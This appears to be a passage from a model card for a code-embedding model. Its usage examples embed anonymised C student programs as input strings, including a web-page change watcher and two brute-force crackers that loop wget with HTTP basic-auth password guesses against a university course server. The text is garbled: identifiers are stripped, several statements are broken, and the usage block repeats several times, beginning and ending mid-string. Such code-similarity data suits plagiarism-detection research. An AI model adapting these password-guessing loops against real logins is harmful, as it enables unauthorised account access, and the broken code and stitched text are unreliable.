%s",pass);\t\t\t\t\t\t\n\t\t\t\t\t\t\treturn 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t\t\n\t\t\t\n\t\t}\n\t}\n\t\n\treturn SUCCESS;\t\n}\n\n\n\nint capsPass()\n{\n\tchar caps[26] ={\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'I\',\'J\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\t\n\tchar pass[3]="";\t\n\tint i,j,k,l;\n\tint incr;\n\tint found;\n\tint , end, final;\t\n\t\n\t = time();\n\tfor(j=2;j<3;j++)\n\t{\n\t\tincr=0;\n\t\tfor(i=0;i<=25;i++)\n\t\t{\n\t\t\t\t\n\t\t\tif(j==0)\n\t\t\t{\t\n\t\t\t\tincr++;\n\t\t\t\tpass[j]=caps[i];\n\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\tfound = findPassword(pass);\n\t\t\t\tif(found == 2)\n\t\t\t\t{\t\n\t\t\t\t\tend = time();\n\t\t\t\t\tfinal = end-;\n\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\n\t\t\t\t\treturn 2;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\tif(j==1)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-1]=caps[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tincr++;\n\t\t\t\t\tpass[j] = caps[k];\n\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\tif(found == 2)\n\t\t\t\t\t{\t\n\t\t\t\t\t\tend = time();\n\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\n\t\t\t\t\t\treturn 2;\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(j==2)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-2]=caps[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tpass[j-1] = caps[k];\n\t\t\t\t\tfor(l=0;l<=25;l++)\n\t\t\t\t\t{\n\t\t\t\t\t\tincr++;\n\t\t\t\t\t\tpass[j] = caps[l];\n\t\t\t\t\t\tpass[j+1]=\'\\0\';\n\t\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\t\tif(found == 2)\n\t\t\t\t\t\t{\t\n\t\t\t\t\t\t\tend = time();\n\t\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\t\t\n\t\t\t\t\t\t\treturn 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t\t\n\t\t\t\n\t\t}\n\t}\n\t\n\treturn SUCCESS;\t\n}\n\n\nint findPassword(char *pass)\n{\n\tchar var[50]="";\t\n\tchar [50]="";\n\tstrcpy(var,"wget --non-verbose --http-user= --http-passwd=");\t\t\n\tstrcpy(," http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n\tstrcat(var,pass);\n\tstrcat(var,);\n\tif(system(var)==0)\n\t{\t\t\n\t\treturn 2;\n\t}\t\n\t\t\n\treturn SUCCESS;\n}\n\n\n\t \n',
'#include<stdio.h>\n#include<string.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<sys/time.h>\n\n()\n{\n\tint i,j,k,m,count=0,flage=0;\n\tFILE* log;\n\ttime_t ,finish;\n\tdouble ttime;\n\tchar s[30];\n\tchar arr[52]={\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'I\',\'J\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n\tchar add[100];\n\tstrcpy(add,"wget --http-user= --http-passwd= -nv -o log http://sec-crack.cs.rmit.edu./SEC/2/");\n\t=time(NULL);\t\n\tfor(i=0;i<52;i++)\t\n\t{\n\t\tfor(j=0;j<52;j++)\n\t\t{\n\t\t\tfor(k=0;k<52;k++)\n\t\t\t{\n\t\t\tprintf("%c %c %c\\n",arr[i],arr[j],arr[k]);\n\t\t\t\n\t\t\tadd[40]=arr[i];\n\t\t\tadd[41]=arr[j];\n\t\t\tadd[42]=arr[k];\n\t\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\t\t\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],arr[j],arr[k],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t\t}\n\t\t}\n\t}\n\tif(flage==0)\t\n\t{\n\t\tfor(i=0;i<52;i++)\n\t\t{\n\t\tadd[40]=arr[i];\n\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t}\n\t}\n\tif(flage==0)\t \n\t{\n\t\tfor(i=0;i<52;i++)\n\t\t{\n\t\t\tfor(j=0;j<52;j++)\n\t\t\t{\n\t\t\tadd[40]=arr[i];\n\t\t\tadd[41]=arr[j];\n\t\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],arr[j],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t\t}\n\t\t}\n\t}\n\t\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9511, 0.9570],
# [0.9511, 1.0000, 0.9799],
# [0.9570, 0.9799, 1.0000]])Usagepython
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-GraphCodeBERT-ST")
# Run inference
sentences = [
'#include<stdio.h>\n#include<stdlib.h>\n\nint ()\n{\n\nFILE *fin1;\nFILE *fin2;\nint flag=0;\n\n\nwhile(1)\n{\n \n system("wget -p http://www.cs.rmit.edu./students");\n\n system("cd www.cs.rmit.edu./");\n\n \n \n if(flag>0)\n {\n \n fin1=fopen("./watchtext/index.html","r");\n fin2=fopen("./watchtext/test2.txt","r");\n system("diff ./www.cs.rmit.edu./students/index.html ./watchtext/index.html | mail @cs.rmit.edu.");\n system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html ");\n system("md5sum ./www.cs.rmit.edu./images/*.* > ./www.cs.rmit.edu./test2.txt");\n system("diff ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt | mail @cs.rmit.edu.");\n system("cp ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt");\n system("rm ./www.cs.rmit.edu./test2.txt");\n \n fclose(fin2);\n fclose(fin1); \n } \n \n if(flag==0)\n {\n system("mkdir watchtext"); \n if((fin1=fopen("./watchtext/index.html","r"))==NULL)\n {\n system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html");\n system("md5sum ./www.cs.rmit.edu./images/*.* > ./watchtext/test2.txt");\n \n flag++;\n }\n \n } \n \n \n \n printf("Running every 24 hours"); \n sleep(86400); \n \n}\n system("rmdir ./watchtext"); \n} \n \n \n \n \n',
'#include<stdio.h>\n#include<stdlib.h>\n#include<string.h> \n#include <ctype.h>\n#include <sys/time.h>\n\n\n#define SUCCESS 0;\n#define FAILURE 1;\n#define SECONDS 1e9\n\nint findPassword(char *);\nint smallPass();\nint capsPass();\n\nint main()\n{\n\tint foundP;\t\n\tfoundP=smallPass();\n\tfoundP=capsPass();\n\tif(foundP == 2)\n\t{\t\t\n\t\treturn SUCCESS;\n\t}\n\tprintf("\\n PASSWORD NOT FOUND");\n\treturn SUCCESS;\n \n}\n\nint smallPass()\n{\n\tchar [26] ={\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\'};\t\n\tchar pass[3]="";\t\n\tint i,j,k,l;\n\tint incr;\n\tint found;\n\tint , end, final;\t\n\t\n\t = time();\n\tfor(j=0;j<3;j++)\n\t{\n\t\tincr=0;\t\t\n\t\tfor(i=0;i<=25;i++)\n\t\t{\t\t\t\t\n\t\t\tif(j==0)\n\t\t\t{\t\n\t\t\t\tincr++;\n\t\t\t\tpass[j]=[i];\n\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\tfound = findPassword(pass);\n\t\t\t\tif(found == 2)\n\t\t\t\t{\t\n\t\t\t\t\tend = time();\n\t\t\t\t\tfinal = end-;\n\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\n\t\t\t\t\treturn 2;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\tif(j==1)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-1]=[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tincr++;\n\t\t\t\t\tpass[j] = [k];\n\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\tif(found == 2)\n\t\t\t\t\t{\t\n\t\t\t\t\t\tend = time();\n\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\n\t\t\t\t\t\treturn 2;\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(j==2)\n\t\t\t{\t\t\t\t\t\t\n\t\t\t\tpass[j-2]=[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tpass[j-1] = [k];\n\t\t\t\t\tfor(l=0;l<=25;l++)\n\t\t\t\t\t{\n\t\t\t\t\t\tincr++;\n\t\t\t\t\t\tpass[j] = [l];\n\t\t\t\t\t\tpass[j+1]=\'\\0\';\n\t\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\t\tif(found == 2)\n\t\t\t\t\t\t{\t\n\t\t\t\t\t\t\tend = time();\n\t\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\t\t\t\t\t\n\t\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\t\t\n\t\t\t\t\t\t\treturn 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t\t\n\t\t\t\n\t\t}\n\t}\n\t\n\treturn SUCCESS;\t\n}\n\n\n\nint capsPass()\n{\n\tchar caps[26] ={\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'I\',\'J\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\t\n\tchar pass[3]="";\t\n\tint i,j,k,l;\n\tint incr;\n\tint found;\n\tint , end, final;\t\n\t\n\t = time();\n\tfor(j=2;j<3;j++)\n\t{\n\t\tincr=0;\n\t\tfor(i=0;i<=25;i++)\n\t\t{\n\t\t\t\t\n\t\t\tif(j==0)\n\t\t\t{\t\n\t\t\t\tincr++;\n\t\t\t\tpass[j]=caps[i];\n\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\tfound = findPassword(pass);\n\t\t\t\tif(found == 2)\n\t\t\t\t{\t\n\t\t\t\t\tend = time();\n\t\t\t\t\tfinal = end-;\n\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\n\t\t\t\t\treturn 2;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\tif(j==1)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-1]=caps[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tincr++;\n\t\t\t\t\tpass[j] = caps[k];\n\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\tif(found == 2)\n\t\t\t\t\t{\t\n\t\t\t\t\t\tend = time();\n\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\n\t\t\t\t\t\treturn 2;\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(j==2)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-2]=caps[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tpass[j-1] = caps[k];\n\t\t\t\t\tfor(l=0;l<=25;l++)\n\t\t\t\t\t{\n\t\t\t\t\t\tincr++;\n\t\t\t\t\t\tpass[j] = caps[l];\n\t\t\t\t\t\tpass[j+1]=\'\\0\';\n\t\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\t\tif(found == 2)\n\t\t\t\t\t\t{\t\n\t\t\t\t\t\t\tend = time();\n\t\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\t\t\n\t\t\t\t\t\t\treturn 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t\t\n\t\t\t\n\t\t}\n\t}\n\t\n\treturn SUCCESS;\t\n}\n\n\nint findPassword(char *pass)\n{\n\tchar var[50]="";\t\n\tchar [50]="";\n\tstrcpy(var,"wget --non-verbose --http-user= --http-passwd=");\t\t\n\tstrcpy(," http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n\tstrcat(var,pass);\n\tstrcat(var,);\n\tif(system(var)==0)\n\t{\t\t\n\t\treturn 2;\n\t}\t\n\t\t\n\treturn SUCCESS;\n}\n\n\n\t \n',
'#include<stdio.h>\n#include<string.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<sys/time.h>\n\n()\n{\n\tint i,j,k,m,count=0,flage=0;\n\tFILE* log;\n\ttime_t ,finish;\n\tdouble ttime;\n\tchar s[30];\n\tchar arr[52]={\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'I\',\'J\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n\tchar add[100];\n\tstrcpy(add,"wget --http-user= --http-passwd= -nv -o log http://sec-crack.cs.rmit.edu./SEC/2/");\n\t=time(NULL);\t\n\tfor(i=0;i<52;i++)\t\n\t{\n\t\tfor(j=0;j<52;j++)\n\t\t{\n\t\t\tfor(k=0;k<52;k++)\n\t\t\t{\n\t\t\tprintf("%c %c %c\\n",arr[i],arr[j],arr[k]);\n\t\t\t\n\t\t\tadd[40]=arr[i];\n\t\t\tadd[41]=arr[j];\n\t\t\tadd[42]=arr[k];\n\t\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\t\t\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],arr[j],arr[k],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t\t}\n\t\t}\n\t}\n\tif(flage==0)\t\n\t{\n\t\tfor(i=0;i<52;i++)\n\t\t{\n\t\tadd[40]=arr[i];\n\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t}\n\t}\n\tif(flage==0)\t \n\t{\n\t\tfor(i=0;i<52;i++)\n\t\t{\n\t\t\tfor(j=0;j<52;j++)\n\t\t\t{\n\t\t\tadd[40]=arr[i];\n\t\t\tadd[41]=arr[j];\n\t\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],arr[j],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t\t}\n\t\t}\n\t}\n\t\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9511, 0.9570],
# [0.9511, 1.0000, 0.9799],
# [0.9570, 0.9799, 1.0000]])Usagepython
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-GraphCodeBERT-ST")
# Run inference
sentences = [
'#include<stdio.h>\n#include<stdlib.h>\n\nint ()\n{\n\nFILE *fin1;\nFILE *fin2;\nint flag=0;\n\n\nwhile(1)\n{\n \n system("wget -p http://www.cs.rmit.edu./students");\n\n system("cd www.cs.rmit.edu./");\n\n \n \n if(flag>0)\n {\n \n fin1=fopen("./watchtext/index.html","r");\n fin2=fopen("./watchtext/test2.txt","r");\n system("diff ./www.cs.rmit.edu./students/index.html ./watchtext/index.html | mail @cs.rmit.edu.");\n system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html ");\n system("md5sum ./www.cs.rmit.edu./images/*.* > ./www.cs.rmit.edu./test2.txt");\n system("diff ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt | mail @cs.rmit.edu.");\n system("cp ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt");\n system("rm ./www.cs.rmit.edu./test2.txt");\n \n fclose(fin2);\n fclose(fin1); \n } \n \n if(flag==0)\n {\n system("mkdir watchtext"); \n if((fin1=fopen("./watchtext/index.html","r"))==NULL)\n {\n system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html");\n system("md5sum ./www.cs.rmit.edu./images/*.* > ./watchtext/test2.txt");\n \n flag++;\n }\n \n } \n \n \n \n printf("Running every 24 hours"); \n sleep(86400); \n \n}\n system("rmdir ./watchtext"); \n} \n \n \n \n \n',
'#include<stdio.h>\n#include<stdlib.h>\n#include<string.h> \n#include <ctype.h>\n#include <sys/time.h>\n\n\n#define SUCCESS 0;\n#define FAILURE 1;\n#define SECONDS 1e9\n\nint findPassword(char *);\nint smallPass();\nint capsPass();\n\nint main()\n{\n\tint foundP;\t\n\tfoundP=smallPass();\n\tfoundP=capsPass();\n\tif(foundP == 2)\n\t{\t\t\n\t\treturn SUCCESS;\n\t}\n\tprintf("\\n PASSWORD NOT FOUND");\n\treturn SUCCESS;\n \n}\n\nint smallPass()\n{\n\tchar [26] ={\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\'};\t\n\tchar pass[3]="";\t\n\tint i,j,k,l;\n\tint incr;\n\tint found;\n\tint , end, final;\t\n\t\n\t = time();\n\tfor(j=0;j<3;j++)\n\t{\n\t\tincr=0;\t\t\n\t\tfor(i=0;i<=25;i++)\n\t\t{\t\t\t\t\n\t\t\tif(j==0)\n\t\t\t{\t\n\t\t\t\tincr++;\n\t\t\t\tpass[j]=[i];\n\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\tfound = findPassword(pass);\n\t\t\t\tif(found == 2)\n\t\t\t\t{\t\n\t\t\t\t\tend = time();\n\t\t\t\t\tfinal = end-;\n\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\n\t\t\t\t\treturn 2;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\tif(j==1)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-1]=[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tincr++;\n\t\t\t\t\tpass[j] = [k];\n\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\tif(found == 2)\n\t\t\t\t\t{\t\n\t\t\t\t\t\tend = time();\n\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\n\t\t\t\t\t\treturn 2;\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(j==2)\n\t\t\t{\t\t\t\t\t\t\n\t\t\t\tpass[j-2]=[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tpass[j-1] = [k];\n\t\t\t\t\tfor(l=0;l<=25;l++)\n\t\t\t\t\t{\n\t\t\t\t\t\tincr++;\n\t\t\t\t\t\tpass[j] = [l];\n\t\t\t\t\t\tpass[j+1]=\'\\0\';\n\t\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\t\tif(found == 2)\n\t\t\t\t\t\t{\t\n\t\t\t\t\t\t\tend = time();\n\t\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\t\t\t\t\t\n\t\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\t\t\n\t\t\t\t\t\t\treturn 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t\t\n\t\t\t\n\t\t}\n\t}\n\t\n\treturn SUCCESS;\t\n}\n\n\n\nint capsPass()\n{\n\tchar caps[26] ={\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'I\',\'J\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\t\n\tchar pass[3]="";\t\n\tint i,j,k,l;\n\tint incr;\n\tint found;\n\tint , end, final;\t\n\t\n\t = time();\n\tfor(j=2;j<3;j++)\n\t{\n\t\tincr=0;\n\t\tfor(i=0;i<=25;i++)\n\t\t{\n\t\t\t\t\n\t\t\tif(j==0)\n\t\t\t{\t\n\t\t\t\tincr++;\n\t\t\t\tpass[j]=caps[i];\n\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\tfound = findPassword(pass);\n\t\t\t\tif(found == 2)\n\t\t\t\t{\t\n\t\t\t\t\tend = time();\n\t\t\t\t\tfinal = end-;\n\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\n\t\t\t\t\treturn 2;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\tif(j==1)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-1]=caps[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tincr++;\n\t\t\t\t\tpass[j] = caps[k];\n\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\tif(found == 2)\n\t\t\t\t\t{\t\n\t\t\t\t\t\tend = time();\n\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\n\t\t\t\t\t\treturn 2;\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(j==2)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-2]=caps[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tpass[j-1] = caps[k];\n\t\t\t\t\tfor(l=0;l<=25;l++)\n\t\t\t\t\t{\n\t\t\t\t\t\tincr++;\n\t\t\t\t\t\tpass[j] = caps[l];\n\t\t\t\t\t\tpass[j+1]=\'\\0\';\n\t\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\t\tif(found == 2)\n\t\t\t\t\t\t{\t\n\t\t\t\t\t\t\tend = time();\n\t\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\t\t\n\t\t\t\t\t\t\treturn 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t\t\n\t\t\t\n\t\t}\n\t}\n\t\n\treturn 